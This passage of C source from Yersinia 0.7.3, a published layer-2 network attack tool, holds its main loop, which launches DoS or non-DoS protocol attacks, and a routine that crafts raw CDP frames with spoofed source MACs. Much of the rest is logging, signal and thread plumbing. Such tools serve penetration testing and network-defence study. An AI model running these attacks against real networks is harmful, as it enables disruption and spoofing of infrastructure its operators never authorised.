pcap_dump_close(node->protocol[proto].pcap_file.pdumper); node->protocol[proto].pcap_file.pdumper = NULL; node->protocol[proto].pcap_file.pd = NULL; free(node->protocol[proto].pcap_file.name); node->protocol[proto].pcap_file.name = NULL; } else { pcap_dump_flush(node->pcap_file.pdumper); pcap_dump_close(node->pcap_file.pdumper); node->pcap_file.pdumper = NULL; node->pcap_file.pd = NULL; free(node->pcap_file.name); node->pcap_file.name = NULL; } return 0; } #ifndef HAVE_PCAP_DUMP_FLUSH int8_t pcap_dump_flush(pcap_dumper_t *p) { if (fflush((FILE *)p) == EOF) return (-1); else return (0); } #endif /* * Get the last interface that has received a 'mode' packet. * If mode == PROTO_ALL take into account all the protocols. * Return 0 if no packet. */ u_int8_t interfaces_get_last_int(u_int8_t mode) { u_int8_t i, a, last=0, proto; u_int32_t sec=0, usec=0; for (a=0; a < MAX_PROTOCOLS; a++) { if (mode != PROTO_ALL) proto = mode; else proto = a; for (i=0; i < MAX_PACKET_STATS; i++) { if (protocols[proto].stats[i].header->ts.tv_sec > 0) { if ( (protocols[proto].stats[i].header->ts.tv_sec > sec) || ( (protocols[proto].stats[i].header->ts.tv_sec == sec) && (protocols[proto].stats[i].header->ts.tv_usec > usec) ) ) { sec = protocols[proto].stats[i].header->ts.tv_sec; usec = protocols[proto].stats[i].header->ts.tv_usec; last = interfaces_get(protocols[proto].stats[i].iface); } } } if (mode != PROTO_ALL) break; } return last; } int8_t interfaces_compare(void *data, void *pattern) { struct interface_data *iface_data; iface_data = (struct interface_data *) data; return(strncmp((char *)iface_data->ifname, (char *)pattern, strlen((char *)iface_data->ifname))); } yersinia-0.7.3/src/gtk-support.c0000644000175000017500000001103712234207266014406 0ustar nknk/* gtk_support.c * GTK Support functions * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: gtk-support.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H # include #endif #include #include #include #include #include #include #include "gtk-support.h" GtkWidget* lookup_widget (GtkWidget *widget, const gchar *widget_name) { GtkWidget *parent, *found_widget; for (;;) { if (GTK_IS_MENU (widget)) parent = gtk_menu_get_attach_widget (GTK_MENU (widget)); else parent = widget->parent; if (!parent) parent = (GtkWidget*) g_object_get_data (G_OBJECT (widget), "GladeParentKey"); if (parent == NULL) break; widget = parent; } found_widget = (GtkWidget*) g_object_get_data (G_OBJECT (widget), widget_name); if (!found_widget) g_warning ("Widget not found: %s", widget_name); return found_widget; } static GList *pixmaps_directories = NULL; /* Use this function to set the directory containing installed pixmaps. */ void add_pixmap_directory (const gchar *directory) { pixmaps_directories = g_list_prepend (pixmaps_directories, g_strdup (directory)); } /* This is an internally used function to find pixmap files. */ static gchar* find_pixmap_file (const gchar *filename) { GList *elem; /* We step through each of the pixmaps directory to find it. */ elem = pixmaps_directories; while (elem) { gchar *pathname = g_strdup_printf ("%s%s%s", (gchar*)elem->data, G_DIR_SEPARATOR_S, filename); if (g_file_test (pathname, G_FILE_TEST_EXISTS)) return pathname; g_free (pathname); elem = elem->next; } return NULL; } /* This is an internally used function to create pixmaps. */ GtkWidget* create_pixmap (GtkWidget *widget, const gchar *filename) { gchar *pathname = NULL; GtkWidget *pixmap; if (!filename || !filename[0]) return gtk_image_new (); pathname = find_pixmap_file (filename); if (!pathname) { g_warning (_("Couldn't find pixmap file: %s"), filename); return gtk_image_new (); } pixmap = gtk_image_new_from_file (pathname); g_free (pathname); return pixmap; } /* This is an internally used function to create pixmaps. */ GdkPixbuf* create_pixbuf (const gchar *filename) { gchar *pathname = NULL; GdkPixbuf *pixbuf; GError *error = NULL; if (!filename || !filename[0]) return NULL; pathname = find_pixmap_file (filename); if (!pathname) { g_warning (_("Couldn't find pixmap file: %s"), filename); return NULL; } pixbuf = gdk_pixbuf_new_from_file (pathname, &error); if (!pixbuf) { fprintf (stderr, "Failed to load pixbuf file: %s: %s\n", pathname, error->message); g_error_free (error); } g_free (pathname); return pixbuf; } /* This is used to set ATK action descriptions. */ void glade_set_atk_action_description (AtkAction *action, const gchar *action_name, const gchar *description) { gint n_actions, i; n_actions = atk_action_get_n_actions (action); for (i = 0; i < n_actions; i++) { if (!strcmp (atk_action_get_name (action, i), action_name)) atk_action_set_description (action, i, description); } } yersinia-0.7.3/src/yersinia.c0000644000175000017500000005264712234207266013746 0ustar nknk/* yersinia.c * Command line client and application main entry point * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: yersinia.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #ifdef HAVE_SYS_WAIT_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #ifdef HAVE_GTK #include #endif #include #include #include "yersinia.h" /* * Use global *tty_tmp and term_parent */ int main( int argc, char **argv ) { struct cl_args *cl_args; struct term_node *tty_node = NULL; pid_t pid; pid_t parent_id; #if defined(HAVE_PTHREAD_SETCONCURRENCY) && !defined(LINUX) int concurrent; #endif handle_signals_parent(); tcgetattr(0, &term_parent); parent_id = getpid(); if ((pid = fork()) < 0) { exit(1); } else { if (pid != 0) { wait(NULL); tcsetattr(0, TCSANOW, &term_parent); exit(0); } } fatal_error = 4; /* Disable all signals while initializing data...*/ handle_signals(); setvbuf(stdout, NULL, _IONBF, 0); tty_tmp = (struct term_tty *)calloc(1,sizeof(struct term_tty)); if (tty_tmp == NULL) { printf("Out of memory on calloc tty_tmp\n"); clean_exit(); } tty_tmp->term = (struct termios *)calloc(1,sizeof(struct termios)); if (tty_tmp->term == NULL) { printf("Out of memory on calloc tty_tmp->term\n"); clean_exit(); } /* default values */ tty_tmp->interactive = 0; tty_tmp->gtk = 0; tty_tmp->attack = -1; tty_tmp->mac_spoofing = -1; tty_tmp->splash = -1; strncpy(tty_tmp->username, VTY_USER, MAX_USERNAME); strncpy(tty_tmp->password, VTY_PASS, MAX_PASSWORD); strncpy(tty_tmp->e_password, VTY_ENABLE, MAX_PASSWORD); tty_tmp->port = VTY_PORT; tty_tmp->ip_filter = NULL; #ifdef HAVE_GTK tty_tmp->buffer_log = NULL; #endif cl_args = (struct cl_args *)calloc(1,sizeof(struct cl_args)); if (cl_args == NULL) { printf("Out of memory on calloc cl_args\n"); clean_exit(); } if ( argc == 1 ) { printf("GNU %s %s\n", PACKAGE, VERSION); printf("Try '%s -h' to display the help.\n",PACKAGE); clean_exit(); } if (getuid() != 0) { printf("You must be root to run %s %s\n", PACKAGE, VERSION); clean_exit(); } if (term_init() < 0) g00dbye(); /* Register all the protocols */ protocol_init(); cl_args->proto_index = -1; if (parser_initial(tty_tmp, cl_args, argc, argv) < 0) { clean_exit(); } init_log(); #if defined(HAVE_PTHREAD_SETCONCURRENCY) && !defined(LINUX) /* concurrent = pthread_getconcurrency();*/ concurrent = 15;/*(MAX_TERMS*MAX_PROTOCOLS*MAX_THREAD_ATTACK*2)+3;*/ if (pthread_setconcurrency(concurrent) != 0) { thread_error("init pthread_setconcurrency()",errno); g00dbye(); } #endif if (interfaces_init(&terms->pcap_listen_th) < 0 ) g00dbye(); /* Establish TERM signal handler...*/ posix_signal(SIGTERM, final); #ifdef HAVE_REMOTE_ADMIN if (tty_tmp->daemonize) { if (admin_init(tty_tmp) < 0) g00dbye(); } #endif if (thread_create(&terms->uptime_th.id, &th_uptime, (void *)NULL) < 0) g00dbye(); /* Command line and ncurses cannot be choosed simultaneously...*/ if ((!tty_tmp->interactive) && (!tty_tmp->gtk) && (cl_args->proto_index != -1)) { terms->work_state = INITIAL; tty_node = term_type[TERM_TTY].list; if (thread_create(&tty_node[0].thread.id, &th_tty_peer, (void *)cl_args) < 0) g00dbye(); while(terms->work_state != STOPPED) thread_usleep(100000); } #ifdef HAS_CURSES if (tty_tmp->interactive) { terms->work_state = INITIAL; if (thread_create(&terms->gui_th.id, &ncurses_gui, NULL) < 0 ) g00dbye(); /* Wait until the ncurses GUI is over */ while(terms->work_state != STOPPED) thread_usleep(100000); } else { #endif #ifdef HAVE_GTK if (tty_tmp->gtk) { terms->work_state = INITIAL; if (thread_create(&terms->gui_gtk_th.id, >k_gui, NULL) < 0 ) g00dbye(); /* Wait until the GTK GUI is over */ while(terms->work_state != STOPPED) thread_usleep(100000); } #endif #ifdef HAS_CURSES } #endif #ifdef HAVE_REMOTE_ADMIN if (tty_tmp->daemonize) { /* Ok, now that console (ncurses) is finished * we can become a true daemon... */ become_daemon(parent_id); /* Wait until some important thread exits due to fatal_error...*/ while (fatal_error == 4) thread_usleep(100000); } #endif g00dbye(); exit(1); } /* * Thread for handling command line attacks (TERM_TTY) * Use global variable struct term_tty *tty_tmp */ void * th_tty_peer(void *args) { int fail; time_t this_time; struct cl_args *arguments; struct term_tty *tty; struct term_node *term_node=NULL; sigset_t mask; terms->work_state = RUNNING; write_log(0, "\n th_tty_peer thread = %d...\n",(int)pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask,NULL)) { thread_error("th_tty_peer pthread_sigmask()",errno); th_tty_peer_exit(NULL); } if (pthread_mutex_lock(&terms->mutex) != 0) { thread_error("th_tty_peer pthread_mutex_lock",errno); th_tty_peer_exit(NULL); } fail = term_add_node(&term_node, TERM_TTY, (int)NULL, pthread_self()); if (fail == -1) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); th_tty_peer_exit(term_node); } if (term_node == NULL) { write_log(1,"Ouch!! No more than %d %s accepted!!\n", term_type[TERM_TTY].max, term_type[TERM_TTY].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); th_tty_peer_exit(term_node); } tty = term_node->specific; memcpy(tty,tty_tmp,sizeof(struct term_tty)); this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time,term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since)); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; /* This is a tty so, man... ;) */ strncpy(term_node->from_ip, "127.0.0.1", sizeof(term_node->from_ip)); /* Parse config file */ if (strlen(tty_tmp->config_file)) if (parser_read_config_file(tty_tmp, term_node) < 0) { write_log(0, "Error reading configuration file\n"); th_tty_peer_exit(term_node); } if (init_attribs(term_node) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); th_tty_peer_exit(term_node); } arguments = args; /* In command line mode we initialize the values by default */ if (protocols[arguments->proto_index].init_attribs) { fail = (*protocols[arguments->proto_index].init_attribs) (term_node); } else write_log(0, "Warning, proto %d has no init_attribs function!!\n", arguments->proto_index); /* Choose a parser */ fail = parser_cl_proto(term_node, arguments->count, arguments->argv_tmp, arguments->proto_index); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); if (fail < 0) { write_log(0, "Error when parsing...\n"); th_tty_peer_exit(term_node); } write_log(0, "Entering command line mode...\n"); /* Execute attack... */ doloop(term_node, arguments->proto_index); th_tty_peer_exit(term_node); return(NULL); } /* * We arrived here due to normal termination * from thread tty peer main routine... * Release resources and delete acquired terminal... */ void th_tty_peer_exit(struct term_node *term_node) { dlist_t *p; struct interface_data *iface_data; if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); } write_log(0,"\n th_tty_peer %d finished...\n",(int)pthread_self()); terms->work_state = STOPPED; pthread_exit(NULL); } /* * David, pon algo coherente!!! */ void doloop(struct term_node *node, int mode) { struct term_tty *term_tty; struct attack *theattack = NULL; struct timeval timeout; fd_set read_set; int ret, fail; struct termios old_term, term; term_tty = node->specific; theattack = protocols[mode].attacks; if (term_tty->attack >= 0) { if (theattack[term_tty->attack].nparams) { printf("\n<*> Ouch!! At the moment the command line interface doesn't support attacks <*>\n"); printf("<*> that needs parameters and the one you've choosed needs %d <*>\n", theattack[term_tty->attack].nparams); } else { printf("<*> Starting %s attack %s...\n", (theattack[term_tty->attack].type)?"DOS":"NONDOS", theattack[term_tty->attack].s); if (attack_launch(node, mode, term_tty->attack, NULL, 0) < 0) write_log(1, "Error launching attack %d (mode %d)!!\n", term_tty->attack, mode); fflush(stdin); fflush(stdout); setvbuf(stdout, NULL, _IONBF, 0); tcgetattr(0,&old_term); tcgetattr(0,&term); term.c_cc[VMIN] = 1; term.c_cc[VTIME] = _POSIX_VDISABLE; term.c_lflag &= ~ICANON; term.c_lflag &= ~ECHO; tcsetattr(0,TCSANOW,&term); if (theattack[term_tty->attack].single == CONTINOUS) { printf("<*> Press any key to stop the attack <*>\n"); fail = 0; while(!fail && !node->thread.stop) { FD_ZERO(&read_set); FD_SET(0, &read_set); timeout.tv_sec = 0; timeout.tv_usec = 200000; if ( (ret=select(1, &read_set, NULL, NULL, &timeout) ) == -1 ) { thread_error("network_peer_th select()",errno); continue; } if ( !ret ) /* Timeout, decrement timers... */ continue; else { if (FD_ISSET(0, &read_set)) { getchar(); fail = 1; } } } } else /* Command line, only one attack (0), let's wait for its conclusion... */ while (node->protocol[mode].attacks[0].up) thread_usleep(150000); tcsetattr(0,TCSANOW, &old_term); } } /* if term_tty->attack */ } /* * Uptime thread... */ void * th_uptime(void *arg) { int ret,n; struct timeval timeout; sigset_t mask; write_log(0,"\n th_uptime thread = %d\n",(int)pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("th_uptime pthread_sigmask()",errno); th_uptime_exit(); } if (pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL)) { thread_error("th_uptime pthread_setcancelstate()",errno); th_uptime_exit(); } pthread_cleanup_push( &th_uptime_clean, (void *)NULL ); if (pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL)) { thread_error("th_uptime pthread_setcancelstate()",errno); th_uptime_exit(); } if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL)) { n=errno; pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL); thread_error("th_uptime pthread_setcanceltype()",n); th_uptime_exit(); } while(1) { timeout.tv_sec = 1; timeout.tv_usec = 0; if ( (ret=select( 0, NULL, NULL, NULL, &timeout ) ) == -1 ) { n=errno; thread_error("th_uptime select()",n); continue; } if ( !ret ) /* Timeout, update uptime... */ uptime++; } pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL); pthread_cleanup_pop(0); return (NULL); } /* * We arrived here due to normal termination * from thread uptime main routine... */ void th_uptime_exit(void) { terms->uptime_th.id = 0; pthread_exit(NULL); } /* * We arrived here due to cancellation request... */ void th_uptime_clean(void *data) { terms->uptime_th.id = 0; } /* * Child will become a daemon so we need to kill parent * who is waiting on a loop... */ void become_daemon(pid_t parent_id) { thread_usleep(800000); /* Just for giving time to parent... */ kill(parent_id,SIGUSR1); /* Kill parent... */ setsid(); /* i wanna be a "session leader"... */ chdir("/tmp"); /* If you wanna work... */ umask(022); /* Just in case... */ } /* * Write to stdout and logfile (mode=1), * to logfile only (mode=0) * to stdout only (mode=2) */ void write_log( u_int16_t mode, char *msg, ... ) { va_list ap; /* Variable argument list...*/ #ifdef HAVE_GTK char buffer[4096]; GtkTextIter iter2; #endif va_start(ap,msg); if (mode && !tty_tmp->daemonize) vfprintf(stdout, msg, ap); if ((!mode || (mode == 1)) && (tty_tmp->log_file)) vfprintf(tty_tmp->log_file, msg,ap); /* Send yersinia log to the main_log gtk widget */ #ifdef HAVE_GTK if ((!mode || (mode == 1)) && ((tty_tmp->gtk) && (tty_tmp->buffer_log))) { vsnprintf(buffer, 4096, msg,ap); gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (tty_tmp->buffer_log), &iter2, 0); gtk_text_buffer_insert(GTK_TEXT_BUFFER(tty_tmp->buffer_log), &iter2, buffer, -1); } #endif va_end(ap); } /* * Exit from program printing the * system error. */ void go_out_error( int8_t *msg, int32_t errn ) { #ifdef HAVE_GLIBC_STRERROR_R /* At least on glibc >= 2.0 Can anybody confirm?... */ char buf[64]; write_log(1,"%s: %s -> %s\n", PACKAGE, msg, strerror_r(errn,buf,sizeof(buf))); #else #ifdef HAVE_STRERROR write_log(1,"%s: %s -> %s\n", PACKAGE, msg, strerror(errn) ); #else write_log(1,"%s: %s -> %s\n", PACKAGE, msg, sys_errlist[errn] ); #endif #endif g00dbye(); } /* * Exit from program printing * a custom error message. */ void go_out( char *msg, ... ) { va_list ap; /* Variable argument list...*/ if (msg) { va_start(ap,msg); vfprintf(stderr, msg, ap); } g00dbye(); } /* * Exit function when nothing has been initialized */ void clean_exit(void) { if (tty_tmp) { if (tty_tmp->term) free(tty_tmp->term); free(tty_tmp); } show_vty_motd(); fflush(stdout); exit(0); } /* * Last exit routine... * Use global *tty_tmp and terms[] */ void g00dbye(void) { write_log(0," g00dbye function called from %d\n",(int)pthread_self()); term_delete_all_tty(); #ifdef HAS_CURSES if (tty_tmp->interactive && (terms->gui_th.id != 0)) thread_destroy(&terms->gui_th); #endif #ifdef HAVE_GTK if (tty_tmp->gtk && (terms->gui_gtk_th.id != 0)) { thread_destroy(&terms->gui_gtk_th); } #endif #ifdef HAVE_REMOTE_ADMIN if (tty_tmp->daemonize) admin_exit(); #endif /* Kill Uptime thread... */ if (terms->uptime_th.id) thread_destroy_cancel(terms->uptime_th.id); if (tty_tmp && tty_tmp->term) free(tty_tmp->term); /* Destroy interfaces only if they are initialized!! */ if (terms) interfaces_destroy(&terms->pcap_listen_th); protocol_destroy(); if (terms) term_destroy(); if (!tty_tmp->daemonize) { write_log(0, " Showing MOTD..\n"); show_vty_motd(); } finish_log(); if (tty_tmp) free(tty_tmp); exit(0); } /* * Init the log file. */ void init_log(void) { char this_name[128]; time_t this_time; this_time = time(NULL); gethostname(this_name, sizeof(this_name)); write_log(0,"# %s v%s started in %s on %s", PACKAGE, VERSION, this_name, ctime(&this_time)); write_log(0,"\n"); } /* * Finish the log file. */ void finish_log(void) { time_t this_time; this_time = time(NULL); write_log(0,"# %s finished on %s\n",PACKAGE, ctime(&this_time)); fflush(tty_tmp->log_file); if (fclose(tty_tmp->log_file) < 0) thread_error("Error in fclose", errno); } /* * Initialize default values * on connection struct */ int8_t init_attribs(struct term_node *node) { int8_t i, result; result = 0; for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; if (protocols[i].init_attribs) result = result | (*protocols[i].init_attribs)(node); else write_log(0, "Warning: protocol %d has no init_attribs function!!\n", i); } return result; } /* * Let's handle signals */ void handle_signals( void ) { posix_signal(SIGIO, SIG_IGN); posix_signal(SIGURG, SIG_IGN); posix_signal(SIGTSTP, SIG_IGN); posix_signal(SIGQUIT, SIG_IGN); posix_signal(SIGPIPE, SIG_IGN); #if !defined(OPENBSD) && !defined(FREEBSD) && !defined(DARWIN) posix_signal(SIGPOLL, SIG_IGN); #endif posix_signal(SIGCHLD, SIG_IGN); posix_signal(SIGUSR1, SIG_IGN); posix_signal(SIGUSR2, SIG_IGN); posix_signal(SIGINT, SIG_IGN); posix_signal(SIGTERM, SIG_IGN); posix_signal(SIGHUP, SIG_IGN); posix_signal(SIGALRM, SIG_IGN); } /* * Handling signals on parent */ void handle_signals_parent( void ) { posix_signal( SIGIO, SIG_IGN ); posix_signal( SIGURG, SIG_IGN ); posix_signal( SIGTSTP, SIG_IGN ); posix_signal( SIGQUIT, SIG_IGN ); posix_signal( SIGPIPE, SIG_IGN ); #if !defined(OPENBSD) && !defined(FREEBSD) && !defined(DARWIN) posix_signal( SIGPOLL, SIG_IGN ); #endif posix_signal( SIGUSR1, final_parent ); posix_signal( SIGUSR2, SIG_IGN ); posix_signal( SIGINT, SIG_IGN ); posix_signal( SIGTERM, SIG_IGN ); posix_signal( SIGHUP, SIG_IGN ); } /* * POSIX functions for signals */ int posix_signal( int signo, void (*handler)() ) { struct sigaction act; act.sa_handler = handler; act.sa_flags = 0; sigemptyset( &act.sa_mask ); switch( signo ) { case SIGALRM: break; case SIGIO: case SIGHUP: case SIGUSR2: sigaddset( &act.sa_mask, SIGALRM ); default: act.sa_flags |= SA_RESTART; break; } if ( sigaction( signo, &act, NULL ) == -1 ) return -1; return 0; } /* * SIGINT/SIGTERM/SIGHUP handler */ void final( int signal ) { write_log(1,"\nTERM signal received from %d!\n", (int)pthread_self()); g00dbye(); } /* * Show the vty motd... * Return -1 if error. 0 if Ok. */ int8_t show_vty_motd() { int8_t j; j = term_motd(); if (j < 0) return -1; printf("%s", vty_motd[j]); return 0; } /* * SIGUSR1 parent handler */ void final_parent(int signal) { tcsetattr(0, TCSANOW, &term_parent); exit(0); } yersinia-0.7.3/src/md5.h0000644000175000017500000000150612234207266012601 0ustar nknk/* $Id: md5.h 2 2006-04-03 21:04:25Z tomac $ */ #ifndef MD5_H #define MD5_H #ifdef SOLARIS typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif struct MD5Context { u_int32_t buf[4]; u_int32_t bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); void MD5Transform(u_int32_t buf[4], u_int32_t const in[16]); #ifdef REMARK /* This' been commented out because it conflicts with openssl */ /* * This is needed to make RSAREF happy on some MS-DOS compilers. */ typedef struct MD5Context MD5_CTX; #endif /* REMARK */ #endif /* !MD5_H */ /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/cdp.c0000644000175000017500000012250512234207266012660 0ustar nknk/* cdp.c * Implementation and attacks for Cisco Discovery Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: cdp.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "cdp.h" /* Let's wait for libnet to fix the CDP code... * meanwhile we'll do it ala Dirty Harry way... */ void cdp_register(void) { protocol_register(PROTO_CDP, "CDP", "Cisco Discovery Protocol", "cdp", sizeof(struct cdp_data), cdp_init_attribs, NULL, cdp_get_printable_packet, cdp_get_printable_store, cdp_load_values, cdp_attack, cdp_update_field, cdp_features, cdp_comm_params, SIZE_ARRAY(cdp_comm_params), cdp_params_tlv, SIZE_ARRAY(cdp_params_tlv), cdp_get_extra_field, cdp_init_comms_struct, PROTO_VISIBLE, cdp_end); protocol_register_tlv(PROTO_CDP, cdp_edit_tlv, cdp_type_desc, cdp_tlv, SIZE_ARRAY(cdp_tlv)); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t cdp_init_comms_struct(struct term_node *node) { struct cdp_data *cdp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(cdp_comm_params)); if (comm_param == NULL) { thread_error("cdp_init_commands_struct calloc error",errno); return -1; } cdp_data = node->protocol[PROTO_CDP].tmp_data; node->protocol[PROTO_CDP].commands_param = comm_param; comm_param[CDP_SMAC] = &cdp_data->mac_source; comm_param[CDP_DMAC] = &cdp_data->mac_dest; comm_param[CDP_VER] = &cdp_data->version; comm_param[CDP_TTL] = &cdp_data->ttl; comm_param[CDP_CHECKSUM] = &cdp_data->checksum; return 0; } int8_t cdp_send(struct attacks *attacks) { int8_t c; int32_t total_length; libnet_ptag_t t; u_int8_t oui[3], *fixpacket; struct cdp_data *cdp_data; libnet_t *lhandler; u_int16_t checksum; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; cdp_data = attacks->data; total_length = 0; checksum = cdp_chksum((u_int8_t *)cdp_data + 12, 4 + cdp_data->options_len); fixpacket = calloc(1, 4 + cdp_data->options_len); memcpy((void *)fixpacket, &cdp_data->version, 1); memcpy((void *)fixpacket+1, &cdp_data->ttl, 1); /* aux_short = htons(cdp_data->checksum);*/ memcpy((void *)fixpacket+2, &checksum, 2); memcpy((void *)fixpacket+4, cdp_data->options, cdp_data->options_len); total_length = 4 + cdp_data->options_len; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; #ifdef KK t = libnet_build_cdp( cdp_data->version, /* version */ cdp_data->ttl, /* time to live */ htons(cdp_data->checksum), /* checksum */ 0, 0, 0, (cdp_data->options_len == 0) ? NULL : cdp_data->options, /* payload */ cdp_data->options_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build CDP header",lhandler); return -1; } #endif oui[0] = 0x00; oui[1] = 0x00; oui[2] = 0x0C; t = libnet_build_802_2snap( 0xaa, /* SNAP DSAP */ 0xaa, /* SNAP SSAP */ 0x03, /* control */ oui, /* oui */ 0x2000, /* ARP header follows */ fixpacket, /* payload */ total_length, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ t = libnet_build_802_3( cdp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? cdp_data->mac_source : iface_data->etheraddr, /* ethernet source */ /* LIBNET_CDP_H is 0x08 and the first tuple is included so it's better say 4 (ttl * + version + checksum) */ LIBNET_802_2SNAP_H + total_length, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build ethernet header", lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ c = libnet_write(lhandler); if (c == -1) { thread_libnet_error( "libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_CDP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_CDP]++; } /* for INTERFACES*/ return 0; } void cdp_th_send_raw(void *arg) { struct attacks *attacks=NULL; struct cdp_data *cdp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("cdp_th_send_raw pthread_sigmask()",errno); cdp_th_send_raw_exit(attacks); } cdp_data = attacks->data; cdp_send(attacks); cdp_th_send_raw_exit(attacks); } void cdp_th_send_raw_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); 